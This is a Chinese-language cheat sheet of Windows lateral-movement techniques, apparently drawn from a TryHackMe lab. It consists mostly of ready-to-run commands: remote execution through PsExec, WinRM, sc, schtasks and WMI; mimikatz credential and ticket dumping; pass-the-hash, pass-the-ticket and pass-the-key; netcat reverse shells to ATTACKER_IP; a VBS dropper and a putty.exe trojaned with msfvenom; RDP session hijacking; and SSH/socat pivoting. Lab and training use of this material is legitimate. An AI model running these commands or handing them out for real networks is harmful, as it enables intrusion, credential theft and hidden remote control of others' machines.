横向移动与旋转
远程生成进程
# PSexec
## 条件
端口:445/TCP(smb)
所需的组成员身份:管理员
## 下载位置
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
## 使用
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
# WinRM
## 条件
端口:5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
所需的组成员身份:远程管理用户
## 使用
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
# powershell替代WinRM
我们可以从 Powershell 实现相同的目的,但要传递不同的凭据,我们需要创建一个 PSCredential 对象:
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
获得 PSCredential 对象后,可以使用 Enter-PSSession cmdlet 创建交互式会话:
Enter-PSSession -Computername TARGET -Credential $credential
Powershell 还包括 Invoke-Command cmdlet,它通过 WinRM 远程运行 ScriptBlocks。凭据也必须通过 PSCredential 对象传递:
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
# ps
msf快捷使用
msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;exploit"
远程生成服务
# 使用 sc 创建服务
## 条件
端口:
135/TCP、49152-65535/TCP (DCE/RPC)
445/TCP(基于 SMB 命名管道的 RPC)445/TCP (RPC over SMB Named Pipes)
139/TCP(基于 SMB 命名管道的 RPC)139/TCP (RPC over SMB Named Pipes)
所需的组成员身份:管理员
## 使用
### 创建新用户
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice
### 停止和删除服务
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
远程创建计划任务
# schtasks
## 使用
### 创建计划任务
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "THMtask1"
### 删除计划任务
schtasks /S TARGET /TN "THMtask1" /DELETE /F
使用WMI 横向移动
连接到wmi
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
#建立wmi会话
## DCOM
RPC over IP 将用于连接到 WMI。此协议使用端口 135/TCP 和端口 49152-65535/TCP,如使用 sc.exe 时所述。
## winRM
WinRM 将用于连接到 WMI。此协议使用端口 5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
## powershell
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
使用wmi创建远程进程
# 使用wmi创建远程进程
## 需求
端口:
135/TCP、49152-65535/TCP (DCERPC)
5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
所需的组成员身份:管理员
## 使用
### powershell
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}
### 在旧系统中可以使用wmic
wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe"
使用wmi远程创建服务
# 使用wmi远程创建服务
## 需求
端口:
135/TCP、49152-65535/TCP (DCERPC)
5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
所需的组成员身份:管理员
## 使用
### powershell
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
# 启动命令
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
Invoke-CimMethod -InputObject $Service -MethodName StartService
# 停止或删除服务
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
使用 WMI 远程创建计划任务
# 需求
端口:
135/TCP、49152-65535/TCP (DCERPC)
5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
所需的组成员身份:管理员
# 使用
## powershell
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"
通过wmi安装msi包
# 需求
端口:
135/TCP、49152-65535/TCP (DCERPC)
5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
所需的组成员身份:管理员
# 使用
## powershell
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
# 我们可以通过在遗留系统中使用 wmic 来实现相同的目的:
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi
使用备用认证材料
提取NTLM哈希
# 从本地SAM中提取NTLM哈希
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
# 从LSASS内存中提取NTLM哈希
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv
# mimikatz使用
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
# linux传递哈希值
## 使用PtH连接到RDP
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
## 使用linux版本PSexec
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
## 使用WinRM
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
Kerberos认证
#提取票据
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
# 将票证注入当前会话
mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi
# 检查票证
klist
密钥传递
# 获取加密密钥
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
传递密钥并获取反弹shell
# RC4
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
# AES128
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
# AES256
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
滥用用户行为
滥用可写网络共享
当存在共享文件,并且有用户拉去他并执行时,可获取反弹shell
举例
# .vbs脚本(假设有nc)
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True
#假设有.exe文件(msf注入)
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe
RDP劫持
如果你在 Windows Server 2016 及更早版本上具有 SYSTEM 权限,则无需密码即可接管任何现有 RDP 会话
# 以管理员身份运行cmd或者运行命令
PsExec64.exe -s cmd.exe
输入:
query user(当看到有disc即可接管,active也可以接管但会顶下合法用户)
tscon 3 /dest:rdp-tcp#6
端口转发
ssh隧道
## 创建用户
useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser
#SSH远程端口转发
攻击机A(1.1.1.1),已沦陷B(2.2.2.2),待攻击C(3.3.3.3)
ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N(B运行,访问A3389,如同利用B访问C3389)
#本地端口转发
攻击机A(1.1.1.1),已沦陷B(2.2.2.2),待攻击C(3.3.3.3)
ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N(B运行,将A的80端口开放至B的80端口可以让C反弹)
打开入方向防火墙
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80
socat进行端口转发
攻击机A(1.1.1.1),已沦陷B(2.2.2.2),待攻击C(3.3.3.3)
# 远程端口转发
socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389(B运行,访问B3389如同访问C3389)
# 本地端口转发
socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80(B运行,监听A80端口,如同监听B80端口)
动态端口转发和socks
ssh tunneluser@1.1.1.1 -R 9050 -N
编辑 /etc/proxychains.conf配置代理链
proxychains curl http://pxeboot.za.tryhackme.com #代理使用
更多关于横向移动的方法
# 穿梭机
https://github.com/sshuttle/sshuttle
# rpivot
https://github.com/klsecservices/rpivot
# chisel
https://github.com/jpillora/chisel
# 使用 Shadowmove 劫持套接字
https://adepts.of0x.cc/shadowmove-hijack-socket/